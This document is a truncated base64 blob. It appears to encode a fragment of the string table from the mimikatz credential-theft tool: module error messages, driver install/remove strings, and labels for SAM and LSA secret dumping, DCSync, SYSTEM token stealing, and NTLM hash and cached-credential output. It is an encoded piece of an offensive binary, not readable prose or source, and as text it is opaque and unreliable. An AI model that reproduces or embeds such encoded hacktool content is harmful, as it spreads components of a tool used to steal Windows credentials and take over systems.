ACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAFIAZQBtAG8AdgBlACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAcABpAG4AZwAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAABCAFMATwBEACAAIQAAAAAAcAByAG8AYwBlAHMAcwAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAG0AbwBkAHUAbABlAHMAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAcwBzAGQAdAAAAAAATABpAHMAdAAgAFMAUwBEAFQAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUgBlAGcAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwBSAGUAbQBvAHYAZQAAAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdABSAGUAbQBvAHYAZQAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcgBlAG0AbwB2AGUAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBwAHIAbwBjAGUAcwBzADoAcAByAG8AZwByAGEAbQAuAGUAeABlACAAbwByACAALwBwAGkAZAA6AHAAcgBvAGMAZQBzAHMAaQBkACAAbgBlAGUAZABlAGQACgAAAAAAAAAAAFAASQBEACAAJQB1ACAALQA+ACAAJQAwADIAeAAvACUAMAAyAHgAIABbACUAMQB4AC0AJQAxAHgALQAlADEAeABdAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AbgBvAHQAaQBmAHkARwBlAG4AZQByAGkAYwBSAGUAbQBvAHYAZQAgADsAIABOAG8AIABhAGQAZAByAGUAcwBzAD8ACgAAAAAAcwBhAG0AAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAZQBjAHIAZQB0AHMAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAGwAcwBhAAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAQQBzAGsAIABhACAARABDACAAdABvACAAcwB5AG4AYwBoAHIAbwBuAGkAegBlACAAYQBuACAAbwBiAGoAZQBjAHQAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAABrAGkAdwBpAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMARQBDAFUAUgBJAFQAWQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBFAEMAVQBSAEkAVABZAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAdQByAHIAZQBuAHQAAABEAGUAZgBhAHUAbAB0AAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAFMAawBlAHcAMQAAAEcAQgBHAAAARABhAHQAYQAAAAAAJQB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgADsAIABMAFMAQQAgAEsAZQB5ACAAQwBsAGEAcwBzACAAcgBlAGEAZAAgAGUAcgByAG8AcgAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAUwB5AHMASwBlAHkAIAA6ACAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAATABTAEEAIABLAE8ACgAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFYAAABMAG8AYwBhAGwAIABTAEkARAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAVQBzAGUAcgBzAAAATgBhAG0AZQBzAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEEATQAgAEEAYwBjAG8AdQBuAHQAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAFQATABNAAAAAABMAE0AIAAgAAAAAAAlAHMAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAASwBPAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABfAF8ARABtAE4AAAAAAFAAbwBsAF8AXwBEAG0AUwAAAAAAJQBzACAAbgBhAG0AZQAgADoAIAAAAAAAIAAoAAAAAAApAAAAUABvAGwAaQBjAHkAAAAAAEwAbwBjAGEAbAAAAEEAYwAAAAAARABvAG0AYQBpAG4AAAAAAFAAcgAAAAAAUABvAGwAUgBlAHYAaQBzAGkAbwBuAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAUABvAGwAUwBlAGMAcgBlAHQARQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAAAAAATABTAEEAIABLAGUAeQAoAHMAKQAgADoAIAAlAHUALAAgAGQAZQBmAGEAdQBsAHQAIAAAACAAIABbACUAMAAyAHUAXQAgAAAAIAAAAEwAUwBBACAASwBlAHkAIAA6ACAAAAAAAFMAZQBjAHIAZQB0AHMAAABzAGUAcgB2AGkAYwBlAHMAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAABfAFMAQwBfAAAAAABDAHUAcgByAFYAYQBsAAAACgBjAHUAcgAvAAAATwBsAGQAVgBhAGwAAAAAAAoAbwBsAGQALwAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAQwBhAGMAaABlAAAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0AAAAKgAgAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAgAGkAcwAgACUAdQAsACAAJQB1ACAAcgBlAGEAbAAgAGkAdABlAHIAYQB0AGkAbwBuACgAcwApAAoAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAACoAIABJAHQAZQByAGEAdABpAG8AbgAgAGkAcwAgAHMAZQB0ACAAdABvACAAZABlAGYAYQB1AGwAdAAgACgAMQAwADIANAAwACkACgAAAAAATgBMACQAQwBvAG4AdAByAG8AbAAAAAAACgBbACUAcwAgAC0AIAAAAF0ACgBSAEkARAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAA+ACAASwBpAHcAaQAgAG0AbwBkAGUALgAuAC4ACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMgAgADoAIAAAAAAAIAAgAEMAaABlAGMAawBzAHUAbQAgACAAOgAgAAAAAAA+ACAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAATQBzAEMAYQBjAGgAZQBWADEAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAG